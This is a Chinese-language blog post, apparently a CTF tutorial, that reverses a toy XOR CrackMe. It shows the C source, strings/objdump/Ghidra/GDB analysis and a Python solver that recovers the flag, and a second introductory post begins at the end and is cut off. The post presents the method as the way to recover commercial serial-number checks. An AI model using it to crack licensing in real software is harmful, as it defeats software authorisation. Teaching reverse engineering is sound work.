[{"data":1,"prerenderedAt":14435},["ShallowReactive",2],{"blog-post-/blogs/ctf-reverse-crackme-deep-dive":3,"all-blogs-for-navigation":1127},{"id":4,"title":5,"body":6,"description":1112,"extension":1113,"meta":1114,"navigation":58,"ogImage":1116,"path":1123,"seo":1124,"stem":1125,"__hash__":1126},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":8,"toc":1101},"minimark",[9,14,18,22,30,262,265,289,292,301,308,321,326,330,337,354,359,372,375,383,389,393,404,421,424,430,439,443,448,465,469,513,516,553,561,565,598,601,626,630,633,700,705,708,717,720,726,730,743,759,761,767,776,778,784,787,802,804,810,813,817,822,839,905,908,921,924,930,933,945,950,954,1049,1053,1086,1090,1097],[10,11,13],"h3",{"id":12},"一现实背景注册码校验","一、现实背景：注册码校验",[15,16,17],"p",{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,19,21],{"id":20},"二题目源码与编译","二、题目源码与编译",[15,23,24,25,29],{},"出题人视角的 ",[26,27,28],"code",{},"crackme.c","：",[31,32,37],"pre",{"className":33,"code":34,"language":35,"meta":36,"style":36},"language-c shiki shiki-themes dracula","#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n","c","",[26,38,39,47,53,60,66,72,78,84,90,96,102,108,114,120,126,132,138,144,150,156,162,168,174,180,185,191,197,203,209,215,221,227,233,239,245,251,257],{"__ignoreMap":36},[40,41,44],"span",{"class":42,"line":43},"line",1,[40,45,46],{},"#include \u003Cstdio.h>\n",[40,48,50],{"class":42,"line":49},2,[40,51,52],{},"#include \u003Cstring.h>\n",[40,54,56],{"class":42,"line":55},3,[40,57,59],{"emptyLinePlaceholder":58},true,"\n",[40,61,63],{"class":42,"line":62},4,[40,64,65],{},"int check(const char *input) {\n",[40,67,69],{"class":42,"line":68},5,[40,70,71],{},"    char key[] = \"k3y\";\n",[40,73,75],{"class":42,"line":74},6,[40,76,77],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[40,79,81],{"class":42,"line":80},7,[40,82,83],{},"    unsigned char enc[] = {\n",[40,85,87],{"class":42,"line":86},8,[40,88,89],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[40,91,93],{"class":42,"line":92},9,[40,94,95],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[40,97,99],{"class":42,"line":98},10,[40,100,101],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[40,103,105],{"class":42,"line":104},11,[40,106,107],{},"    };\n",[40,109,111],{"class":42,"line":110},12,[40,112,113],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[40,115,117],{"class":42,"line":116},13,[40,118,119],{},"    int n = strlen(input);\n",[40,121,123],{"class":42,"line":122},14,[40,124,125],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[40,127,129],{"class":42,"line":128},15,[40,130,131],{},"    if (n != 24) return 0;\n",[40,133,135],{"class":42,"line":134},16,[40,136,137],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[40,139,141],{"class":42,"line":140},17,[40,142,143],{},"    for (int i = 0; i \u003C n; i++)\n",[40,145,147],{"class":42,"line":146},18,[40,148,149],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[40,151,153],{"class":42,"line":152},19,[40,154,155],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[40,157,159],{"class":42,"line":158},20,[40,160,161],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[40,163,165],{"class":42,"line":164},21,[40,166,167],{},"    return 1;\n",[40,169,171],{"class":42,"line":170},22,[40,172,173],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[40,175,177],{"class":42,"line":176},23,[40,178,179],{},"}\n",[40,181,183],{"class":42,"line":182},24,[40,184,59],{"emptyLinePlaceholder":58},[40,186,188],{"class":42,"line":187},25,[40,189,190],{},"int main(int argc, char **argv) {\n",[40,192,194],{"class":42,"line":193},26,[40,195,196],{},"    if (argc != 2) {\n",[40,198,200],{"class":42,"line":199},27,[40,201,202],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[40,204,206],{"class":42,"line":205},28,[40,207,208],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[40,210,212],{"class":42,"line":211},29,[40,213,214],{},"        return 1;\n",[40,216,218],{"class":42,"line":217},30,[40,219,220],{},"    }\n",[40,222,224],{"class":42,"line":223},31,[40,225,226],{},"    if (check(argv[1]))\n",[40,228,230],{"class":42,"line":229},32,[40,231,232],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[40,234,236],{"class":42,"line":235},33,[40,237,238],{},"        puts(\"Correct!\");\n",[40,240,242],{"class":42,"line":241},34,[40,243,244],{},"    else\n",[40,246,248],{"class":42,"line":247},35,[40,249,250],{},"        puts(\"Wrong!\");\n",[40,252,254],{"class":42,"line":253},36,[40,255,256],{},"    return 0;\n",[40,258,260],{"class":42,"line":259},37,[40,261,179],{},[15,263,264],{},"编译（解题时只有二进制，没有源码）：",[31,266,270],{"className":267,"code":268,"language":269,"meta":36,"style":36},"language-bash shiki shiki-themes dracula","gcc -o crackme crackme.c\n","bash",[26,271,272],{"__ignoreMap":36},[40,273,274,278,282,286],{"class":42,"line":43},[40,275,277],{"class":276},"sAOxA","gcc",[40,279,281],{"class":280},"sIQBb"," -o",[40,283,285],{"class":284},"s-mGx"," crackme",[40,287,288],{"class":284}," crackme.c\n",[15,290,291],{},"运行确认行为：",[31,293,295],{"className":267,"code":294,"language":269,"meta":36,"style":36},"./crackme\n",[26,296,297],{"__ignoreMap":36},[40,298,299],{"class":42,"line":43},[40,300,294],{"class":276},[15,302,303,304,307],{},"输出：",[26,305,306],{},"Usage: ./crackme \u003Cflag>","。",[31,309,311],{"className":267,"code":310,"language":269,"meta":36,"style":36},"./crackme wrongflag123456789012\n",[26,312,313],{"__ignoreMap":36},[40,314,315,318],{"class":42,"line":43},[40,316,317],{"class":276},"./crackme",[40,319,320],{"class":284}," wrongflag123456789012\n",[15,322,303,323,307],{},[26,324,325],{},"Wrong!",[10,327,329],{"id":328},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,331,332,336],{},[333,334,335],"strong",{},"目的","：先确认程序类型、收集可见字符串，缩小分析范围。",[15,338,339,29,342,345,346,349,350,353],{},[333,340,341],{},"思路",[26,343,344],{},"strings"," 能看到 ",[26,347,348],{},"k3y"," 这样的短密钥（需要 ",[26,351,352],{},"-n 3","），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[355,356,358],"h4",{"id":357},"_31-file","3.1 file",[31,360,362],{"className":267,"code":361,"language":269,"meta":36,"style":36},"file crackme\n",[26,363,364],{"__ignoreMap":36},[40,365,366,369],{"class":42,"line":43},[40,367,368],{"class":276},"file",[40,370,371],{"class":284}," crackme\n",[15,373,374],{},"预期输出（Linux ELF）：",[31,376,381],{"className":377,"code":379,"language":380,"meta":36},[378],"language-text","crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n","text",[26,382,379],{"__ignoreMap":36},[15,384,385,388],{},[26,386,387],{},"not stripped","：函数名可见。",[355,390,392],{"id":391},"_32-strings","3.2 strings",[15,394,395,396,398,399,401,402,29],{},"注意：",[26,397,344],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[26,400,348],{}," 只有 3 个字符，必须加 ",[26,403,352],{},[31,405,407],{"className":267,"code":406,"language":269,"meta":36,"style":36},"strings -n 3 crackme\n",[26,408,409],{"__ignoreMap":36},[40,410,411,413,416,419],{"class":42,"line":43},[40,412,344],{"class":276},[40,414,415],{"class":280}," -n",[40,417,418],{"class":280}," 3",[40,420,371],{"class":284},[15,422,423],{},"预期输出：",[31,425,428],{"className":426,"code":427,"language":380,"meta":36},[378],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[26,429,427],{"__ignoreMap":36},[15,431,432,434,435,438],{},[26,433,348],{}," 极可能是密钥。",[26,436,437],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,440,442],{"id":441},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,444,445,447],{},[333,446,335],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,449,450,452,453,456,457,460,461,464],{},[333,451,341],{},"：main 里 ",[26,454,455],{},"call check"," 后紧跟 ",[26,458,459],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[26,462,463],{},"input[i] ^ key[i%3] != enc[i]","，逆向思路立刻清晰。",[355,466,468],{"id":467},"_41-objdump-看-main","4.1 objdump 看 main",[31,470,472],{"className":267,"code":471,"language":269,"meta":36,"style":36},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[26,473,474],{"__ignoreMap":36},[40,475,476,479,482,485,488,490,494,497,500,503,507,510],{"class":42,"line":43},[40,477,478],{"class":276},"objdump",[40,480,481],{"class":280}," -d",[40,483,484],{"class":280}," -M",[40,486,487],{"class":284}," intel",[40,489,285],{"class":284},[40,491,493],{"class":492},"s0Tla"," |",[40,495,496],{"class":276}," grep",[40,498,499],{"class":280}," -A",[40,501,502],{"class":280}," 40",[40,504,506],{"class":505},"seVfx"," '",[40,508,509],{"class":284},"\u003Cmain>",[40,511,512],{"class":505},"'\n",[15,514,515],{},"预期输出（节选）：",[31,517,521],{"className":518,"code":519,"language":520,"meta":36,"style":36},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n","asm",[26,522,523,528,533,538,543,548],{"__ignoreMap":36},[40,524,525],{"class":42,"line":43},[40,526,527],{},"0000000000001189 \u003Cmain>:\n",[40,529,530],{"class":42,"line":49},[40,531,532],{},"    1191:  cmp    edi, 0x2\n",[40,534,535],{"class":42,"line":55},[40,536,537],{},"    1194:  jne    0x11a0\n",[40,539,540],{"class":42,"line":62},[40,541,542],{},"    119e:  call   0x1149 \u003Ccheck>\n",[40,544,545],{"class":42,"line":68},[40,546,547],{},"    11a3:  test   eax, eax\n",[40,549,550],{"class":42,"line":74},[40,551,552],{},"    11a5:  je     0x11b5\n",[15,554,555,557,558,307],{},[26,556,455],{}," 说明判断逻辑在 ",[26,559,560],{},"check",[355,562,564],{"id":563},"_42-objdump-看-check","4.2 objdump 看 check",[31,566,568],{"className":267,"code":567,"language":269,"meta":36,"style":36},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[26,569,570],{"__ignoreMap":36},[40,571,572,574,576,578,580,582,584,586,588,591,593,596],{"class":42,"line":43},[40,573,478],{"class":276},[40,575,481],{"class":280},[40,577,484],{"class":280},[40,579,487],{"class":284},[40,581,285],{"class":284},[40,583,493],{"class":492},[40,585,496],{"class":276},[40,587,499],{"class":280},[40,589,590],{"class":280}," 60",[40,592,506],{"class":505},[40,594,595],{"class":284},"\u003Ccheck>",[40,597,512],{"class":505},[15,599,600],{},"预期会看到循环比较：",[31,602,604],{"className":518,"code":603,"language":520,"meta":36,"style":36},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[26,605,606,611,616,621],{"__ignoreMap":36},[40,607,608],{"class":42,"line":43},[40,609,610],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[40,612,613],{"class":42,"line":49},[40,614,615],{},"xor    eax, 0x...                 ; 与 key 异或\n",[40,617,618],{"class":42,"line":55},[40,619,620],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[40,622,623],{"class":42,"line":62},[40,624,625],{},"je     0x...\n",[355,627,629],{"id":628},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,631,632],{},"安装并打开：",[31,634,636],{"className":267,"code":635,"language":269,"meta":36,"style":36},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[26,637,638,652,667],{"__ignoreMap":36},[40,639,640,643,646,649],{"class":42,"line":43},[40,641,642],{"class":276},"apt",[40,644,645],{"class":284}," install",[40,647,648],{"class":284}," openjdk-21-jdk",[40,650,651],{"class":284}," unzip\n",[40,653,654,657,660,664],{"class":42,"line":49},[40,655,656],{"class":276},"wget",[40,658,659],{"class":284}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[40,661,663],{"class":662},"sqerP","*",[40,665,666],{"class":284},".zip\n",[40,668,669,672,675,677,680,684,688,690,692,695,697],{"class":42,"line":55},[40,670,671],{"class":276},"unzip",[40,673,674],{"class":284}," ghidra_",[40,676,663],{"class":662},[40,678,679],{"class":284},".zip",[40,681,683],{"class":682},"sCdxs"," && ",[40,685,687],{"class":686},"sLL85","cd",[40,689,674],{"class":284},[40,691,663],{"class":662},[40,693,694],{"class":284},"_PUBLIC",[40,696,683],{"class":682},[40,698,699],{"class":276},"./ghidraRun\n",[15,701,702,703,307],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[26,704,560],{},[15,706,707],{},"预期伪代码：",[31,709,711],{"className":33,"code":710,"language":35,"meta":36,"style":36},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[26,712,713],{"__ignoreMap":36},[40,714,715],{"class":42,"line":43},[40,716,710],{},[15,718,719],{},"得到逆运算关系：",[31,721,724],{"className":722,"code":723,"language":380,"meta":36},[378],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[26,725,723],{"__ignoreMap":36},[10,727,729],{"id":728},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[31,731,733],{"className":267,"code":732,"language":269,"meta":36,"style":36},"gdb ./crackme\n",[26,734,735],{"__ignoreMap":36},[40,736,737,740],{"class":42,"line":43},[40,738,739],{"class":276},"gdb",[40,741,742],{"class":284}," ./crackme\n",[31,744,747],{"className":745,"code":746,"language":739,"meta":36,"style":36},"language-gdb shiki shiki-themes dracula","(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[26,748,749,754],{"__ignoreMap":36},[40,750,751],{"class":42,"line":43},[40,752,753],{},"(gdb) break check\n",[40,755,756],{"class":42,"line":49},[40,757,758],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,760,423],{},[31,762,765],{"className":763,"code":764,"language":380,"meta":36},[378],"Breakpoint 1 at 0x1149\n",[26,766,764],{"__ignoreMap":36},[31,768,770],{"className":745,"code":769,"language":739,"meta":36,"style":36},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,771,772],{"__ignoreMap":36},[40,773,774],{"class":42,"line":43},[40,775,769],{},[15,777,423],{},[31,779,782],{"className":780,"code":781,"language":380,"meta":36},[378],"Breakpoint 1, 0x0000555555555149 in check ()\n",[26,783,781],{"__ignoreMap":36},[15,785,786],{},"查看 enc 数组（地址在反汇编中确定）：",[31,788,790],{"className":745,"code":789,"language":739,"meta":36,"style":36},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[26,791,792,797],{"__ignoreMap":36},[40,793,794],{"class":42,"line":43},[40,795,796],{},"(gdb) x/24bx 0x5555555551e0\n",[40,798,799],{"class":42,"line":49},[40,800,801],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,803,423],{},[31,805,808],{"className":806,"code":807,"language":380,"meta":36},[378],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[26,809,807],{"__ignoreMap":36},[15,811,812],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,814,816],{"id":815},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,818,819,821],{},[333,820,335],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,823,824,826,827,830,831,834,835,838],{},[333,825,341],{},"：因为 ",[26,828,829],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[26,832,833],{},"key[i%3]"," 得 ",[26,836,837],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[31,840,844],{"className":841,"code":842,"language":843,"meta":36,"style":36},"language-python shiki shiki-themes dracula","enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n","python",[26,845,846,851,856,861,866,870,875,880,885,890,895,900],{"__ignoreMap":36},[40,847,848],{"class":42,"line":43},[40,849,850],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[40,852,853],{"class":42,"line":49},[40,854,855],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[40,857,858],{"class":42,"line":55},[40,859,860],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[40,862,863],{"class":42,"line":62},[40,864,865],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[40,867,868],{"class":42,"line":68},[40,869,59],{"emptyLinePlaceholder":58},[40,871,872],{"class":42,"line":74},[40,873,874],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[40,876,877],{"class":42,"line":80},[40,878,879],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[40,881,882],{"class":42,"line":86},[40,883,884],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[40,886,887],{"class":42,"line":92},[40,888,889],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[40,891,892],{"class":42,"line":98},[40,893,894],{},"# bytes([...])：把整数列表转成字节串。\n",[40,896,897],{"class":42,"line":104},[40,898,899],{},"print(flag.decode())\n",[40,901,902],{"class":42,"line":110},[40,903,904],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,906,907],{},"运行：",[31,909,911],{"className":267,"code":910,"language":269,"meta":36,"style":36},"python3 solve.py\n",[26,912,913],{"__ignoreMap":36},[40,914,915,918],{"class":42,"line":43},[40,916,917],{"class":276},"python3",[40,919,920],{"class":284}," solve.py\n",[15,922,923],{},"实际输出：",[31,925,928],{"className":926,"code":927,"language":380,"meta":36},[378],"ctf{reverse_engineering}\n",[26,929,927],{"__ignoreMap":36},[15,931,932],{},"验证：",[31,934,936],{"className":267,"code":935,"language":269,"meta":36,"style":36},"./crackme ctf{reverse_engineering}\n",[26,937,938],{"__ignoreMap":36},[40,939,940,942],{"class":42,"line":43},[40,941,317],{"class":276},[40,943,944],{"class":284}," ctf{reverse_engineering}\n",[15,946,923,947,307],{},[26,948,949],{},"Correct!",[10,951,953],{"id":952},"七必学工具","七、必学工具",[955,956,957,973],"table",{},[958,959,960],"thead",{},[961,962,963,967,970],"tr",{},[964,965,966],"th",{},"工具",[964,968,969],{},"核心功能",[964,971,972],{},"命令",[974,975,976,989,1001,1017,1036],"tbody",{},[961,977,978,981,984],{},[979,980,368],"td",{},[979,982,983],{},"看类型/是否 stripped",[979,985,986],{},[26,987,988],{},"file crackme",[961,990,991,993,996],{},[979,992,344],{},[979,994,995],{},"提取字符串、指定最小长度",[979,997,998],{},[26,999,1000],{},"strings -n 3 crackme",[961,1002,1003,1005,1008],{},[979,1004,478],{},[979,1006,1007],{},"反汇编、看数据段",[979,1009,1010,1013,1014],{},[26,1011,1012],{},"objdump -d -M intel crackme","、",[26,1015,1016],{},"objdump -s -j .rodata crackme",[961,1018,1019,1022,1025],{},[979,1020,1021],{},"GDB",[979,1023,1024],{},"断点、运行、查看内存",[979,1026,1027,1013,1030,1013,1033],{},[26,1028,1029],{},"break check",[26,1031,1032],{},"run xxx",[26,1034,1035],{},"x/24bx addr",[961,1037,1038,1041,1044],{},[979,1039,1040],{},"Ghidra",[979,1042,1043],{},"反编译伪代码",[979,1045,1046],{},[26,1047,1048],{},"ghidraRun",[10,1050,1052],{"id":1051},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1054,1055,1056,1064,1075,1081],"ol",{},[1057,1058,1059,1061,1062,307],"li",{},[26,1060,1000],{}," → 找到密钥 ",[26,1063,348],{},[1057,1065,1066,1068,1069,1071,1072,307],{},[26,1067,478],{},"/Ghidra → 确认 ",[26,1070,560],{}," 里是 ",[26,1073,1074],{},"input[i] ^ key[i%3] == enc[i]",[1057,1076,1077,1078,307],{},"Python 一行异或还原 → ",[26,1079,1080],{},"ctf{reverse_engineering}",[1057,1082,1083,1084,307],{},"运行验证 → ",[26,1085,949],{},[10,1087,1089],{"id":1088},"九小结","九、小结",[15,1091,1092,1093,1096],{},"XOR CrackMe 的通用解法：",[333,1094,1095],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1098,1099,1100],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":36,"searchDepth":49,"depth":49,"links":1102},[1103,1104,1105,1106,1107,1108,1109,1110,1111],{"id":12,"depth":55,"text":13},{"id":20,"depth":55,"text":21},{"id":328,"depth":55,"text":329},{"id":441,"depth":55,"text":442},{"id":728,"depth":55,"text":729},{"id":815,"depth":55,"text":816},{"id":952,"depth":55,"text":953},{"id":1051,"depth":55,"text":1052},{"id":1088,"depth":55,"text":1089},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。","md",{"date":1115,"image":1116,"alt":1117,"tags":1118,"published":58},"14th Aug 2026","/blogs-img/blog7.png","XOR CrackMe 完整实操",[1119,1120,1121,1122],"ctf","reverse","crackme","example","/blogs/ctf-reverse-crackme-deep-dive",{"title":5,"description":1112},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",[1128,2367,3236,4237,5190,6593,7652,8440,9538,10575,11554,12576],{"id":1129,"title":1130,"body":1131,"description":2358,"extension":1113,"meta":2359,"navigation":58,"ogImage":2360,"path":2363,"seo":2364,"stem":2365,"__hash__":2366},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1132,"toc":2348},[1133,1137,1140,1143,1190,1193,1197,1200,1226,1233,1235,1240,1245,1249,1252,1264,1266,1272,1282,1287,1291,1293,1304,1306,1312,1322,1337,1340,1345,1364,1368,1380,1384,1396,1401,1406,1410,1415,1432,1434,1436,1453,1456,1488,1490,1539,1542,1595,1601,1621,1625,1657,1660,1680,1687,1703,1707,1727,1729,1735,1745,1758,1762,1765,1814,1817,1838,1840,1865,1868,1870,1873,1878,1887,1898,1901,1905,1913,1915,1920,1924,1933,1935,1940,1943,1947,1956,1959,1963,1972,1978,1987,1990,2014,2021,2034,2037,2043,2046,2052,2056,2133,2143,2147,2153,2157,2162,2175,2189,2195,2199,2204,2212,2218,2226,2230,2235,2244,2305,2307,2312,2316,2326,2330,2334,2345],[10,1134,1136],{"id":1135},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1138,1139],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1141,1142],{},"目标程序示例：",[31,1144,1146],{"className":267,"code":1145,"language":269,"meta":36,"style":36},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[26,1147,1148,1156,1176,1185],{"__ignoreMap":36},[40,1149,1150,1153],{"class":42,"line":43},[40,1151,1152],{"class":276},"$",[40,1154,1155],{"class":284}," ./checkflag\n",[40,1157,1158,1161,1164,1167,1170,1173],{"class":42,"line":49},[40,1159,1160],{"class":276},"Usage:",[40,1162,1163],{"class":284}," ./checkflag",[40,1165,1166],{"class":492}," \u003C",[40,1168,1169],{"class":284},"fla",[40,1171,1172],{"class":682},"g",[40,1174,1175],{"class":492},">\n",[40,1177,1178,1180,1182],{"class":42,"line":55},[40,1179,1152],{"class":276},[40,1181,1163],{"class":284},[40,1183,1184],{"class":284}," test\n",[40,1186,1187],{"class":42,"line":62},[40,1188,1189],{"class":276},"Wrong!\n",[15,1191,1192],{},"解题目标：通过分析二进制，找出正确输入。",[10,1194,1196],{"id":1195},"二环境准备","二、环境准备",[15,1198,1199],{},"在 Linux（Kali/Ubuntu）上：",[31,1201,1203],{"className":267,"code":1202,"language":269,"meta":36,"style":36},"apt install file binutils gdb ltrace strace\n",[26,1204,1205],{"__ignoreMap":36},[40,1206,1207,1209,1211,1214,1217,1220,1223],{"class":42,"line":43},[40,1208,642],{"class":276},[40,1210,645],{"class":284},[40,1212,1213],{"class":284}," file",[40,1215,1216],{"class":284}," binutils",[40,1218,1219],{"class":284}," gdb",[40,1221,1222],{"class":284}," ltrace",[40,1224,1225],{"class":284}," strace\n",[15,1227,1228,1229,1232],{},"本文以编译后的 ",[26,1230,1231],{},"checkflag"," 为例，逐步演示。",[10,1234,329],{"id":328},[15,1236,1237,1239],{},[333,1238,335],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1241,1242,1244],{},[333,1243,341],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[355,1246,1248],{"id":1247},"_31-file看文件类型","3.1 file：看文件类型",[15,1250,1251],{},"输入：",[31,1253,1255],{"className":267,"code":1254,"language":269,"meta":36,"style":36},"file checkflag\n",[26,1256,1257],{"__ignoreMap":36},[40,1258,1259,1261],{"class":42,"line":43},[40,1260,368],{"class":276},[40,1262,1263],{"class":284}," checkflag\n",[15,1265,423],{},[31,1267,1270],{"className":1268,"code":1269,"language":380,"meta":36},[378],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[26,1271,1269],{"__ignoreMap":36},[15,1273,1274,1275,1277,1278,1281],{},"重点看最后：",[26,1276,387],{}," 表示符号表还在，函数名（main、check）可见；如果是 ",[26,1279,1280],{},"stripped","，函数名被删，难度更高。",[15,1283,1284,1286],{},[333,1285,335],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 